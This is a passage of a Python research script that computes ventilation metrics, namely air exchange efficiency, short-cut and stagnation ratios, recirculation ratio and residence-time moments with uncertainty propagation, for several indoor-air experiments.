%t'].iloc[0],epsilonabs_std=summary[12]['std epsilon in %t'].iloc[0])\n \n summary[9] = pd.concat([summary[9], R],join=\"outer\", axis=1)\n \n #%% Save a final summary file\n pk.dump(summary, file_summary)\n \n string4 = 'No file \"{}_summary_final\" found. \"summary\" has been recreated and saved as \"{}_summary_final\".'.format(experiment, experiment) \n pass\n except IOError:\n prYellow(string4)\n finally:\n file_summary.close()\n \n return summary\n\n#%% exchange_efficiency\ndef exchange_efficiency(tau=0.0, tau_std=99.9,\n tav=0.0, tav_std=9.99,\n alphaav=0.0, alphaav_std=9.99,\n n=0.0, n_std=9.99,\n navex=0.0, navex_std=9.99,\n navr=0.0, navr_std=9.99,\n sigma_dimless=0.0, sigma_dimless_std=9.99 # dimensonless variance\n ):\n #%% Description\n '''\n epsilon^(a) can be calculated through various ways.\n \n tau navex tau 1 navr 1\n epsilon^(a) := ----- = -------- = ---------- = --- * ------- = ------------- in %t\n tav n 2*alphaav 2 n 1 + sigma²*\n \n tau nominal time constant, in h\n tav average residence time, in h\n navex exhaust exchange rate, in 1/h\n n nominal exchange rate, in 1/h\n alphaav average age in the system, in h\n navr average exchange rate in the system, in 1/h\n '''\n \n #%% Neccessary packages\n from uncertainties import ufloat\n import pandas as pd\n import numpy as np\n import sympy as sym\n from sympy import init_printing\n from sympy import Symbol\n \n #%% Define parameters including uncertainty\n sigma_dimless = [ufloat(sigma_dimless, sigma_dimless_std), Symbol(r'\\left(\\sigma^2\\right)^*')]\n tau = [ufloat(tau, tau_std), Symbol(r'\\tau')]\n tav = [ufloat(tav, tav_std), Symbol(r'\\bar{t}')]\n alphaav = [ufloat(alphaav, alphaav_std), Symbol(r'\\left\\langle\\bar{\\alpha}\\right\\rangle')]\n n = [ufloat(n, n_std), Symbol(r'n')]\n navex = [ufloat(navex, navex_std), Symbol(r'\\left\\langle\\bar{n}\\right\\rangle_e')]\n navr = [ufloat(navr, navr_std), Symbol(r'\\left\\langle\\bar{n}\\right\\rangle_r')]\n \n #%% Equation\n epsilon = [None]*2\n \n for i in range(2):\n \n if tau[0].n>0:\n n[0] = 1/tau[0]\n n[1] = 1/tau[1]\n elif n[0].n>0: \n tau[0] = 1/n[0]\n tau[1] = 1/n[1]\n else:\n pass\n \n if tav[0].n>0:\n alphaav[0] = tav[0]*0.5\n alphaav[1] = tav[1]*0.5\n \n navex[0] = 1/tav[0]\n navex[1] = 1/tav[1]\n \n navr[0] = 1/alphaav[0]\n navr[1] = 1/alphaav[1]\n elif alphaav[0].n>0: \n tav[0] = 2*alphaav[0]\n tav[1] = 2*alphaav[1]\n \n navex[0] = 1/tav[0]\n navex[1] = 1/tav[1]\n \n navr[0] = 1/alphaav[0]\n navr[1] = 1/alphaav[1]\n elif navex[0].n>0:\n tav[0] = 1/navex[0]\n tav[1] = 1/navex[1]\n \n alphaav[0] = tav[0]*0.5\n alphaav[1] = tav[1]*0.5\n \n navr[0] = 1/alphaav[0]\n navr[1] = 1/alphaav[1]\n elif navr[0].n>0:\n alphaav[0] = 1/navr[0]\n alphaav[1] = 1/navr[1]\n else:\n pass\n \n if tau[0].n>0 and tav[0].n>0:\n epsilon[0] = tau[0]/tav[0]\n epsilon[1] = tau[1]/tav[1]\n \n sigma_dimless[0] = 1/epsilon[0]-1\n sigma_dimless[1] = 1/epsilon[1]-1\n pass\n elif sigma_dimless[0].n>0 and tav[0].n>0:\n epsilon[0] = 1/(1+sigma_dimless[0])\n epsilon[1] = 1/(1+sigma_dimless[1])\n \n tau[0] = tav[0]/(1+sigma_dimless[0])\n tau[1] = tav[1]/(1+sigma_dimless[1])\n pass\n elif sigma_dimless[0].n>0 and tau[0].n>0:\n epsilon[0] = 1/(1+sigma_dimless[0])\n epsilon[1] = 1/(1+sigma_dimless[1])\n \n tav[0] = tau[0]*(1+sigma_dimless[0])\n tav[1] = tau[1]*(1+sigma_dimless[1])\n pass\n else:\n pass\n\n #%% Summarise in a dataframe\n global df_EE\n df_EE = pd.DataFrame([{'epsilon in %t':epsilon[0].n*100, 'std epsilon in %t':epsilon[0].s*100,\n 'tau in h':tau[0].n, 'std tau in h':tau[0].s,\n 'tav in h':tav[0].n, 'std tav in h':tav[0].s,\n 'alphaav in h':alphaav[0].n, 'std alphaav in h':alphaav[0].s,\n 'n in 1/h':n[0].n, 'std n in 1/h':n[0].s,\n 'navex in 1/h':navex[0].n, 'std navex in 1/h':navex[0].s,\n 'navr in 1/h':navr[0].n, 'std navr in 1/h':navr[0].s,\n '(sigma²)* in -': sigma_dimless[0].n, 'std (sigma²)* in -': sigma_dimless[0].s\n }])\n\n \n try:\n if df_EE.isin([0]).any().any(): \n if sigma_dimless[0].n>0:\n epsilon[0] = 1/(1+sigma_dimless[0])\n epsilon[1] = 1/(1+sigma_dimless[1])\n df_EE = pd.DataFrame([{'(sigma²)* in -': sigma_dimless[0].n, 'std (sigma²)* in -': sigma_dimless[0].s}])\n print('ATTENTION: I can only calculate the exchange efficiency. Please, pass another argument.')\n else: \n pass\n string = prYellow('ValueError: exchange_efficiency() misses a value.')\n raise ValueError\n except ValueError:\n string\n \n return df_EE\n\n\n\n#%% short_cut_volume\ndef short_cut_volume(tav2, tav2_std, # residence time short-cut volume, in s \n Vdt23, Vdt23_std, # effective volume flow of the ventilation device, in m³/h\n V23, V23_std, # volume of the ventilated space, in m³\n alphaav3, alphaav3_std, # average air age in the ventilated space, in h\n printeq = False,\n calc=True):\n #%% Description\n '''\n This function is only applicable for a recirculation system according to:\n Nauman, E. B., Buffham, B. A. (1983), Mixing in continuous flow systems. Wiley, New York, ISBN: 978-0471861911, page: 21.\n \n Assumption:\n - Recirculation between two subsystems of a system to be calculated\n - subsystems are fully mixed -> nominal time constant of the subsystems equals their mean air age\n - comparing ages and time constants between the subsystems they are usually not equal \n '''\n \n #%% Neccessary packages\n from uncertainties import ufloat\n \n from sympy import init_printing\n from sympy import symbols\n from sympy import Eq\n from sympy import Rational\n from sympy import Add\n \n #%% Define parameters including uncertainty\n tav2 = [ufloat(tav2, tav2_std), symbols(r'\\left\\langle\\bar{t}\\right\\rangle_\\mathrm{2}')]\n Vdt23 = [ufloat(Vdt23, Vdt23_std), symbols(r'{\\dot{V}}_\\mathrm{23}')]\n V23 = [ufloat(V23, V23_std), symbols(r'V_\\mathrm{23}')]\n alphaav3 = [ufloat(alphaav3, alphaav3_std), symbols(r'\\left\\langle\\bar{\\alpha}\\right\\rangle_\\mathrm{3}')]\n stoh = [3600, symbols(r'3600~\\frac{\\mathrm{s}}{\\mathrm{h}}')]\n \n #%% Equation\n V2 = [None]*2\n \n try: \n if printeq:\n init_printing()\n Eq(V2[1], Rational( Add(Rational(tav2[1],stoh[1]),(Vdt23[1]+V23[1]/alphaav3[1])),2+Rational(tav2[1],alphaav3[1])))\n elif printeq and calc:\n V2[0] = (tav2[0]/stoh[0]*(Vdt23[0]+V23[0]/alphaav3[0]))/(2+tav2[0]/alphaav3[0])\n init_printing()\n Eq(V2[1], Rational( Add(Rational(tav2[1],stoh[1]),(Vdt23[1]+V23[1]/alphaav3[1])),2+Rational(tav2[1],alphaav3[1])))\n else:\n V2[0] = (tav2[0]/stoh[0]*(Vdt23[0]+V23[0]/alphaav3[0]))/(2+tav2[0]/alphaav3[0])\n except NameError:\n V2[0] = (tav2[0]/stoh[0]*(Vdt23[0]+V23[0]/alphaav3[0]))/(2+tav2[0]/alphaav3[0])\n \n #%% Summarise in a dataframe\n V2 = pd.DataFrame([{'short-cut volume V2 in m³': V2[0].n, 'std short-cut volume V2 in m³': V2[0].s}])\n\n return V2\n\n#%%occupied_volume\ndef occupied_volume(V23, V23_std, # volume of the ventilated space, in m³\n V2, V2_std, # total short-cut volume (sum of all short-cut volumes around the indoor aperatures), in m³\n printeq = False,\n calc=True):\n #%% Description\n '''\n Volume remaining for the occupied space, in m³\n '''\n \n #%% Neccessary packages\n from uncertainties import ufloat\n \n from sympy import init_printing\n from sympy import symbols\n from sympy import Eq\n \n #%% Define parameters including uncertainty\n V23 = [ufloat(V23, V23_std), symbols(r'V_\\mathrm{23}')]\n V2 = [ufloat(V2, V2_std), symbols(r'V_\\mathrm{2}')]\n \n #%% Equation\n V3 = [None]*2\n \n try: \n if printeq:\n init_printing()\n Eq(V3[1], V23[1] - V2[1])\n elif printeq and calc:\n V3[0] = V23[0] - V2[0]\n init_printing()\n Eq(V3[1], V23[1] - V2[1])\n else:\n V3[0] = V23[0] - V2[0]\n except NameError:\n V3[0] = V23[0] - V2[0]\n \n #%% Summarise in a dataframe\n V3 = pd.DataFrame([{'occupied volume V3 in m³': V3[0].n, 'std occupied volume V3 in m³': V3[0].s}])\n\n return V3\n\n#%% volumeflow stagnating (avialable for the occupied zone)\ndef occupied_volumeflow(V3, V3_std, # volume of the ventilated space, in m³\n alphaav3, alphaav3_std, # total short-cut volume (sum of all short-cut volumes around the indoor aperatures), in m³\n printeq = False,\n calc=True):\n #%% Description\n '''\n The volume for the occupied space is ideally mixed therefore its nominal\n time constant tau3 equals its average age alphaav3.\n '''\n \n #%% Neccessary packages\n from uncertainties import ufloat\n \n from sympy import init_printing\n from sympy import symbols\n from sympy import Eq\n from sympy import Rational\n \n #%% Define parameters including uncertainty\n V3 = [ufloat(V3, V3_std), symbols(r'V_\\mathrm{3}')]\n alphaav3 = [ufloat(alphaav3, alphaav3_std), symbols(r'\\left\\langle\\bar{\\alpha}\\right\\rangle_\\mathrm{3}')]\n \n #%% Equation\n Vdt3 = [None]*2\n \n try: \n if printeq:\n init_printing()\n Eq(Vdt3[1], Rational(V3[1],alphaav3[1]))\n elif printeq and calc:\n Vdt3[0] = V3[0]/alphaav3[0]\n init_printing()\n Eq(Vdt3[1], Rational(V3[1],alphaav3[1]))\n else:\n Vdt3[0] = V3[0]/alphaav3[0]\n except NameError:\n Vdt3[0] = V3[0]/alphaav3[0]\n \n #%% Summarise in a dataframe\n Vdt3 = pd.DataFrame([{'volume flow Vdt3 in m³/h': Vdt3[0].n, 'std volume flow Vdt3 in m³/h': Vdt3[0].s}])\n\n return Vdt3\n\n#%% short-cut volumeflow\ndef short_cut_volumeflow(Vdt3, Vdt3_std, # volume flow for the occupied space, in m³/h\n Vdt23, Vdt23_std, # volume flow of the ventilated space, in m³/h\n printeq = False,\n calc=True):\n #%% Description\n '''\n According to Nauman et al. the short-cut volume flow of a back-feed \n recirculation system is the sum out of the system volume flow V23 and \n the recycle volume flow V3\n \n (The volume for the short-cut volume is ideally mixed therefore its nominal\n time constant tau2 equals its average age alphaav2.)\n '''\n \n #%% Neccessary packages\n from uncertainties import ufloat\n \n from sympy import init_printing\n from sympy import symbols\n from sympy import Eq\n \n #%% Define parameters including uncertainty\n Vdt3 = [ufloat(Vdt3, Vdt3_std), symbols(r'\\dot{V}_\\mathrm{3}')]\n Vdt23 = [ufloat(Vdt23, Vdt23_std), symbols(r'\\dot{V}_\\mathrm{23}')]\n \n #%% Equation\n Vdt2 = [None]*2\n \n try: \n if printeq:\n init_printing()\n Eq(Vdt2[1], Vdt3[1] + Vdt23[1])\n elif printeq and calc:\n Vdt2[0] = Vdt3[0] + Vdt23[0]\n init_printing()\n Eq(Vdt2[1], Vdt3[1] + Vdt23[1])\n else:\n Vdt2[0] = Vdt3[0] + Vdt23[0]\n except NameError:\n Vdt2[0] = Vdt3[0] + Vdt23[0]\n \n #%% Summarise in a dataframe\n Vdt2 = pd.DataFrame([{'volume flow Vdt2 in m³/h': Vdt2[0].n, 'std volume flow Vdt2 in m³/h': Vdt2[0].s}])\n\n return Vdt2\n\n#%% short-cut and stagnation ratio\ndef short_cut_stagnation_ratio(Vdt23, Vdt23_std, # volume flow of the ventilated space, in m³/h \n Vdt2, Vdt2_std, # volume flow of the short-cut volume, in m³/h\n printeq = False,\n calc=True):\n #%% Description\n '''\n K and S rate the the volume flows moving inside the building zone.\n \n Vdt23 Vdt23 Vdt3\n K := ------------- = ----- = 1 - ------ =: 1 - S\n Vdt23 + Vdt3 Vdt2 Vdt2\n \n K Short-cut rate (german: Kurzschlussrate), in %Vdt\n S Stagnation rate (german: Stagnationsrate), in %Vdt\n Vdt23 Volume flow entering and leaving the system, in m³/h\n Vdt2 Volume flow through the short-cut volume, in m³/h\n Vdt3 Volume flow through the rest of the room, in m³/h\n '''\n \n #%% Neccessary packages\n from uncertainties import ufloat\n \n from sympy import init_printing\n from sympy import Symbol\n from sympy import Eq\n from sympy import Rational\n \n #%% Define parameters including uncertainty\n Vdt2 = [ufloat(Vdt2, Vdt2_std), Symbol(r'\\dot{V}_\\mathrm{2}')]\n Vdt23 = [ufloat(Vdt23, Vdt23_std), Symbol(r'\\dot{V}_\\mathrm{23}')]\n \n #%% Equation\n K = [None]*2\n S = [None]*2\n \n try: \n if printeq:\n init_printing()\n Eq(K[1], Rational(Vdt23[1], Vdt2[1]))\n elif printeq and calc:\n K[0] = Vdt23[0]/Vdt2[0]*100\n S[0] = 100 - K[0]\n init_printing()\n Eq(K[1], Rational(Vdt23[1], Vdt2[1]))\n else:\n K[0] = Vdt23[0]/Vdt2[0]*100\n S[0] = 100 - K[0]\n except NameError:\n K[0] = Vdt23[0]/Vdt2[0]*100\n S[0] = 100 - K[0]\n \n #%% Summarise in a dataframe\n KS = pd.DataFrame([{'Kurzschluss in %Vdt': K[0].n, 'std Kurzschluss in %Vdt': K[0].s,\n 'Stagnation in %Vdt': S[0].n, 'std Stagnation in %Vdt': S[0].s }])\n\n return KS\n\n#%% occupied_volumeflow\ndef short_cut_stagnation_ratio(Vdt23, Vdt23_std, # volume flow of the ventilated space, in m³/h \n Vdt2, Vdt2_std, # volume flow of the short-cut volume, in m³/h\n printeq = False,\n calc=True):\n #%% Description\n '''\n K and S rate the the volume flows moving inside the building zone.\n \n Vdt23 Vdt23 Vdt3\n K := ------------- = ----- = 1 - ------ =: 1 - S\n Vdt23 + Vdt3 Vdt2 Vdt2\n \n K Short-cut rate (german: Kurzschlussrate), in %Vdt\n S Stagnation rate (german: Stagnationsrate), in %Vdt\n Vdt23 Volume flow entering and leaving the system, in m³/h\n Vdt2 Volume flow through the short-cut volume, in m³/h\n Vdt3 Volume flow through the rest of the room, in m³/h\n '''\n \n #%% Neccessary packages\n from uncertainties import ufloat\n \n from sympy import init_printing\n from sympy import Symbol\n from sympy import Eq\n from sympy import Rational\n \n #%% Define parameters including uncertainty\n Vdt2 = [ufloat(Vdt2, Vdt2_std), Symbol(r'\\dot{V}_\\mathrm{2}')]\n Vdt23 = [ufloat(Vdt23, Vdt23_std), Symbol(r'\\dot{V}_\\mathrm{23}')]\n \n #%% Equation\n K = [None]*2\n S = [None]*2\n \n try: \n if printeq:\n init_printing()\n Eq(K[1], Rational(Vdt23[1], Vdt2[1]))\n elif printeq and calc:\n K[0] = Vdt23[0]/Vdt2[0]*100\n S[0] = 100 - K[0]\n init_printing()\n Eq(K[1], Rational(Vdt23[1], Vdt2[1]))\n else:\n K[0] = Vdt23[0]/Vdt2[0]*100\n S[0] = 100 - K[0]\n except NameError:\n K[0] = Vdt23[0]/Vdt2[0]*100\n S[0] = 100 - K[0]\n \n #%% Summarise in a dataframe\n KS = pd.DataFrame([{'Kurzschluss in %Vdt': K[0].n, 'std Kurzschluss in %Vdt': K[0].s,\n 'Stagnation in %Vdt': S[0].n, 'std Stagnation in %Vdt': S[0].s }])\n\n return KS\n\n#%% occupied_volumeflow\ndef recyclesystem(Vdt12=40.0, Vdt12_std=5.0, # volume flow entering and leaving the whole system V12, in m³/h \n Vdt2=50.0, Vdt2_std=6.0, # volume flow of the backfeed subsystem V2, in m³/h\n tau1=0.009, tau1_std=0.0001, # nominal time constant of subsystem V1, in h\n tau2=3.2, tau2_std=0.01): # nominal time constant of subsystem V2, in h\n\n #%% Description\n '''\n This function is only applicable for a recirculation system according to:\n Nauman, E. B., Buffham, B. A. (1983), Mixing in continuous flow systems. Wiley, New York, ISBN: 978-0471861911, page: 21.\n \n Assumption:\n - Recirculation between two subsystems of a system to be calculated\n - subsystems are fully mixed -> nominal time constant of the subsystems equals their mean air age\n - comparing ages and time constants between the subsystems they are usually not equal \n '''\n \n #%% Neccessary packages\n from uncertainties import ufloat\n import sympy as sym\n import numpy as np\n # from sympy import init_printing\n # from sympy import symbols\n # # from sympy import Eq\n # # from sympy import Rational\n \n #%% Define parameters including uncertainty\n Vdt12 = [ufloat(Vdt12, Vdt12_std), sym.Symbol(r'\\dot{V}_{12}')] # volume flow entering and leaving the whole system V12, in m³/h \n Vdt2 = [ufloat(Vdt2, Vdt2_std), sym.Symbol(r'\\dot{V}_{2}')] # volume flow of the backfeed subsystem V2, in m³/h\n tau1 = [ufloat(tau1, tau1_std), sym.Symbol('tau1')] # nominal time constant of subsystem V1, in h\n tau2 = [ufloat(tau2, tau2_std), sym.Symbol('tau2')] # nominal time constant of subsystem V2, in h\n \n s = sym.Symbol('s') # frequency parameter of a Laplace-transform, in 1/h\n \n #%% Equation\n tau12 = [None]*4\n variance12 = [None]*4\n skew12 = [None]*4\n kurtosis12 = [None]*4\n \n f1 = 1/(tau1[1]*s+1) # Respones function of subsystem 1\n f2 = 1/(tau2[1]*s+1) # Respones function of subsystem 2\n f12 = f1/(1+Vdt2[1]/Vdt12[1]*(1-f1*f2)) # Respones function of system 12\n f12ln = sym.ln(f12)\n \n #%%% Sympy expressions\n #%%%% 1st kumulant = 1st moment of the propability distribution = tau12\n d1f12lnds1 = f12ln.diff(s)\n tau12[1] = np.power(-1,1)*d1f12lnds1.subs({s:0}) # mean value, tau in h\n \n #%%%% 2nd kumulant = 1st central moment of the propability distribution = variance12\n d2f12lnds2 = d1f12lnds1.diff(s)\n variance12[1] = np.power(-1,2)*d2f12lnds2.subs({s:0}) # variance, sigma in h^2\n variance12[3] = variance12[1]/np.power(tau12[1],2) # dimensionless variance, sigma* in -\n \n #%%%% 3rd kumulant = 2nd central moment of the propability distribution = skew12\n d3f12lnds3 = d2f12lnds2.diff(s)\n skew12[1] = np.power(-1,3)*d3f12lnds3.subs({s:0}) # skewness, mu3 in h^3\n skew12[3] = skew12[1]/np.power(tau12[1],3) # dimensionless skewness, mu3* in -\n \n #%%%% 4th kumulant lead to 3rd central moment of the propability distribution = kurtosis12\n d4f12lnds4 = d3f12lnds3.diff(s)\n kurtosis12[1] = np.power(-1,4)*d4f12lnds4.subs({s:0})+3*np.power(variance12[1],2) # kurtosis, mu4 in h^4\n kurtosis12[3] = kurtosis12[1]/np.power(tau12[1],4) # dimensionless kurtosis, mu4* in -\n \n #%%% Calculations including uncertainties\n #%%%% 1st kumulant = 1st moment of the propability distribution = tau12\n tau12[0] = tau1[0]+(Vdt2[0]*(tau1[0]+tau2[0]))/Vdt12[0]\n \n #%%%% 2nd kumulant = 2nd central moment of the propability distribution = variance12\n a = 2*np.power(tau1[0],2)\n b = + tau1[0]*(-tau1[0] - (Vdt2[0]*(tau1[0]+tau2[0]))/Vdt12[0])\n c = + (2*Vdt2[0]*tau1[0]*(tau1[0]+tau2[0]))/Vdt12[0]\n d = + Vdt2[0]/Vdt12[0]*(-tau1[0] - (Vdt2[0]*(tau1[0]+tau2[0]))/Vdt12[0])*(tau1[0]+tau2[0])\n e = - Vdt2[0]/Vdt12[0]*(-2*np.power(tau1[0],2)-2*tau1[0]*tau2[0]-2*np.power(tau2[0],2))\n f = + 2*np.power(Vdt2[0]/Vdt12[0],2)*np.power((tau1[0]+tau2[0]),2)\n variance12[0] = np.sum([a,b,c,d,e,f])\n variance12[2] = variance12[0]/np.power(tau12[0],2) \n \n #%%%% 3rd kumulant = 3nd central moment of the propability distribution = skew12\n '''\n For now these values do not have a propper uncertainty evaluation!\n '''\n skew12[0] = skew12[1].subs({tau1[1]:tau1[0].n, tau2[1]:tau2[0].n, Vdt2[1]:Vdt2[0].n, Vdt12[1]:Vdt12[0].n})\n skew12[0] = float(sym.Float(skew12[0]))\n skew12[0] = ufloat(skew12[0],9999,'For now this value does not have a propper uncertainty evaluation!')\n skew12[2] = skew12[3].subs({tau1[1]:tau1[0].n, tau2[1]:tau2[0].n, Vdt2[1]:Vdt2[0].n, Vdt12[1]:Vdt12[0].n})\n skew12[2] = float(sym.Float(skew12[2]))\n skew12[2] = ufloat(skew12[2],9999,'For now this value does not have a propper uncertainty evaluation!')\n \n #%%%% 4th kumulant lead to 4th central moment of the propability distribution = kurtosis12\n '''\n For now these values do not have a propper uncertainty evaluation!\n '''\n kurtosis12[0] = kurtosis12[1].subs({tau1[1]:tau1[0].n, tau2[1]:tau2[0].n, Vdt2[1]:Vdt2[0].n, Vdt12[1]:Vdt12[0].n})\n kurtosis12[0] = float(sym.Float(kurtosis12[0]))\n kurtosis12[0] = ufloat(kurtosis12[0],9999,'For now this value does not have a propper uncertainty evaluation!')\n kurtosis12[2] = kurtosis12[3].subs({tau1[1]:tau1[0].n, tau2[1]:tau2[0].n, Vdt2[1]:Vdt2[0].n, Vdt12[1]:Vdt12[0].n})\n kurtosis12[2] = float(sym.Float(kurtosis12[2]))\n kurtosis12[2] = ufloat(kurtosis12[2],9999,'For now this value does not have a propper uncertainty evaluation!')\n \n #%% Summarise in a dataframe\n RecycSys = pd.DataFrame([{'tau in h': tau12[0].n, 'std tau in h': tau12[0].s,\n 'sigma² in h²': variance12[0].n, 'std sigma² in h²': variance12[0].s, '(sigma²)* in -': variance12[2].n, 'std (sigma²)* in -': variance12[2].s, \n 'mu3 in h³': skew12[0].n, 'std mu3 in h³': skew12[0].s, 'mu3* in -': skew12[2].n, 'std mu3* in -': skew12[2].s,\n 'mu4 in h³': kurtosis12[0].n, 'std mu4 in h³': kurtosis12[0].s, 'mu4* in -': kurtosis12[2].n, 'std mu4* in -': kurtosis12[2].s,\n }])\n\n return RecycSys\n\n#%% recirculation ratio\ndef recirculation_ratio(S, S_std, # volume flow of the ventilated space, in m³/h \n epsilonabs, epsilonabs_std, # volume flow of the short-cut volume, in m³/h\n ):\n #%% Description\n '''\n See equation 16 of Federspiel '99':\n Federspiel, C. C. (1999), Air-change effectiveness: theory and calculation \n methods. Indoor Air 9/1, S.47–56, DOI: 10.1111/j.1600-0668.1999.t01-3-00008.x.\n \n Federspiel called its factor \"S\" short-cut ratio however he redefined it \n later on in the paper and \"modeled it by assuming that ... S<0\". In fact\n this is the amount of volume flow stagnating inside the volume.\n \n '''\n \n #%% Neccessary packages\n from uncertainties import ufloat\n \n from sympy import init_printing\n from sympy import Symbol\n \n #%% Define parameters including uncertainty\n S = [ufloat(S, S_std), Symbol(r'S')]\n epsilonabs = [ufloat(epsilonabs, epsilonabs_std), Symbol(r'\\varepsilon^{a}')]\n \n #%% Equation\n R = [None]*2\n \n R[0] = (2*epsilonabs[0]+S[0]-1)/(2*epsilonabs[0]*S[0])*100\n R[1] = (2*epsilonabs[1]+S[1]-1)/(2*epsilonabs[1]*S[1])*100\n \n #%% Summarise in a dataframe\n R = pd.DataFrame([{'Rezirkulation in %Vdt': R[0].n, 'std Rezirkulation in %Vdt': R[0].s}])\n\n return R\n# def plot_resitimes(tav):\n \n# pd.options.plotting.backend = \"plotly\" # NOTE: This changes the plot backend which should be resetted after it is not needed anymore. Otherwise it will permanently cause problems in future, since it is a permanent change.\n \n# import plotly.graph_objects as go\n# fig = go.Figure()\n# fig.add_trace(go.Bar(#title = time[\"short_name\"][t],\n# name=r'$\\left\\langle\\bar{t}\\right\\rangle_\\mathrm{3} in \\mathrm{3}$',\n# x = tav[\"Experiment\"], \n# y = sup_exh_df[\"av t3 in s\"],\n# #error_y=dict(value=sup_exh_df[\"std meas room_av\"].max())\n# )\n# )\n# fig.add_trace(go.Scatter(name='calc room_av',\n# x = sup_exh_df[\"datetime\"], \n# y = sup_exh_df[\"calc room_av\"],\n# #error_y = dict(value=sup_exh_df[\"std calc room_av\"].max())\n# )\n# )\n# fig.add_trace(go.Scatter(name='calc room_exh',\n# x = sup_exh_df[\"datetime\"], \n# y = sup_exh_df[\"calc room_exh\"],\n# #error_y=dict(value=sup_exh_df[\"std calc room_exh\"].max())\n# )\n# )\n# fig.add_trace(go.Scatter(name='d calc exh-av',\n# x = sup_exh_df[\"datetime\"], \n# y = sup_exh_df[\"d calc exh-av\"],\n# #error_y=dict(value=sup_exh_df[\"std d calc exh-av\"].max())\n# )\n# )\n# fig.add_trace(go.Scatter(name='supply',x=sup_exh_df[\"datetime\"], y = sup_exh_df[\"supply\"]))\n# fig.add_trace(go.Scatter(name='exhaust',x=sup_exh_df[\"datetime\"], y = sup_exh_df[\"exhaust\"]))\n \n# fig.update_layout(\n# title=\"{} {}\".format(database, aperture_sensor),\n# xaxis_title=\"Zeit t in hh:mm:ss\",\n# yaxis_title=r'Verweilzeit $\\bar{t}_1$',\n# legend_title=\"Legende\",\n# font=dict(\n# family=\"Segoe UI\",\n# size=18,\n# color=\"black\"\n# )\n# )\n \n# fig.show()\n \n# import plotly.io as pio\n \n# pio.renderers.default='browser'\n# pd.options.plotting.backend = \"matplotlib\"\n \n# pass\n\n\n\"\"\"\n Tasks to be done:\n 1.) Include uncertainty evaluation for tau_e and tau_s to be returned \n at the end as well\n 2.) Include an option where the plots are turned off by default.\n 3.) Only the plots \"original [experiment]\" and the final plot are\n interesting.\n\n\"\"\"\n\n\n# EE = exchange_efficiency(tau=1.0, tau_std=99.9,\n# tav=0.0, tav_std=9.99,\n# alphaav=0.0, alphaav_std=9.99,\n# n=0.0, n_std=9.99,\n# navex=0.0, navex_std=9.99,\n# navr=0.0, navr_std=9.99,\n# sigma_dimless=1.0, sigma_dimless_std=9.99)\n\n# summary = summary_resitime_vflow(experiment = \"W_I_e0_Herdern\", reset=False)\n\n# RecycSys = recyclesystem(Vdt12=summary[2]['volume_flow'].loc[0], Vdt12_std=summary[2]['std_volume_flow'].loc[0], # volume flow entering and leaving the whole system V12, in m³/h \n# Vdt2=summary[2]['volume flow Vdt3 in m³/h'].loc[0], Vdt2_std=summary[2]['std volume flow Vdt3 in m³/h'].loc[0], # volume flow of the backfeed subsystem V2, in m³/h\n# tau1=summary[10]['tau2 in h'].loc[0], tau1_std=summary[10]['std tau2 in h'].loc[0], # nominal time constant of subsystem V1, in h\n# tau2=summary[10]['tau3 in h'].loc[0], tau2_std=summary[10]['std tau3 in h'].loc[0])\n\n\n\n# tav2=summary[8]['av t2 in s'].loc[0]\n# tav2_std=summary[8]['std av t2 in s'].loc[0]\n# Vdt23=summary[2]['volume_flow'].loc[0]\n# Vdt23_std=summary[2]['std_volume_flow'].loc[0]\n# V23=summary[1]['Volume V23 in m³'].loc[0]\n# V23_std=summary[1]['std Volume V23 in m³'].loc[0]\n# alphaav3=summary[3]['av restime_3 in h'].loc[0]/2\n# alphaav3_std=summary[3]['std av restime_3 in h'].loc[0]/2\n\n\n# V2 = short_cut_volume(tav2 = tav2, tav2_std = tav2_std, \n# Vdt23 = Vdt23, Vdt23_std = Vdt23_std, \n# V23 = V23, V23_std = V23_std, \n# alphaav3 = alphaav3, alphaav3_std = alphaav3_std)\n\nexperiments = [\"S_I_e0_Herdern\", \"S_H_e0_Herdern\", \"W_I_e0_Herdern\",\"W_H_e0_Herdern\",\n \"S_H_e0_ESHL\",\"S_I_e0_ESHL\",] #\"W_H_e0_ESHL\", \"W_I_e0_ESHL\"\n\nsummaryE = []\nreistimesE = pd.DataFrame(columns=([0,\n 'av restime_3 in h',\n 'std av restime_3 in h',\n 'av t1 in s',\n 'std av t1 in s',\n 'av t2 in s',\n 'std av t2 in s']))\nratiosE = pd.DataFrame(columns=([0,\n 'Kurzschluss in %Vdt', 'std Kurzschluss in %Vdt',\n 'Stagnation in %Vdt', 'std Stagnation in %Vdt']))\nEEVdt = pd.DataFrame(columns=([0,\n 'epsilon in %t', 'std epsilon in %t',\n 'volume_flow', 'std_volume_flow',\n 'n in 1/h', 'std n in 1/h']))\n\nfor e in experiments:\n summary = summary_resitime_vflow(e)\n new_row = pd.DataFrame(columns=([0,\n 'av restime_3 in h',\n 'std av restime_3 in h',\n 'av t1 in s',\n 'std av t1 in s',\n 'av t2 in s',\n 'std av t2 in s']))\n new_row = pd.concat([pd.Series(summary[0]), summary[3], summary[7], summary[8]], join=\"outer\", axis=1)\n reistimesE = reistimesE.append(new_row)\n \n new_row2 = pd.DataFrame(columns=([0,\n 'Kurzschluss in %Vdt', 'std Kurzschluss in %Vdt',\n 'Stagnation in %Vdt', 'std Stagnation in %Vdt']))\n new_row2 = pd.concat([pd.Series(summary[0]), summary[9]], join=\"outer\", axis=1)\n ratiosE = ratiosE.append(new_row2)\n new_row3 = pd.DataFrame(columns=([0,\n 'epsilon in %t', 'std epsilon in %t',\n 'volume_flow', 'std_volume_flow',\n 'n in 1/h', 'std n in 1/h']))\n new_row3 = pd.concat([pd.Series(summary[0]), summary[2].iloc[:,[0,1]], summary[12].iloc[:,[0,1,8,9]]], join=\"outer\", axis=1)\n EEVdt = EEVdt.append(new_row3)\n \n summaryE.append(summary)\n\n# reistimesE['av restime_3 in h'] = reistimesE['av restime_3 in h'] * 3600\n# reistimesE['std av restime_3 in h'] = reistimesE['std av restime_3 in h'] * 3600\n# reistimesE = reistimesE.rename(columns={0: 'Experiment','av restime_3 in h': 'av t3 in s', 'std av restime_3 in h': 'std av t3 in s'})\n# reistimesE = reistimesE.reset_index()\n# del reistimesE['index']\n\n# ratiosE = ratiosE.reset_index()\n# del ratiosE['index']\n \n\n\n# # summary = summary_resitime_vflow(experiment = \"W_I_e0_Herdern\")\n\n# S_H_e0_Herdern = [Summarise_vflows(experiment = \"S_H_e0_Herdern\"), \n# Summarise_resitimes(experiment = \"S_H_e0_Herdern\")\n# ]\n\n# W_I_e0_Herdern = [Summarise_vflows(experiment = \"W_I_e0_Herdern\"), \n# Summarise_resitimes(experiment = \"W_I_e0_Herdern\")\n# ]\n\n# Fehlerhaft\n# 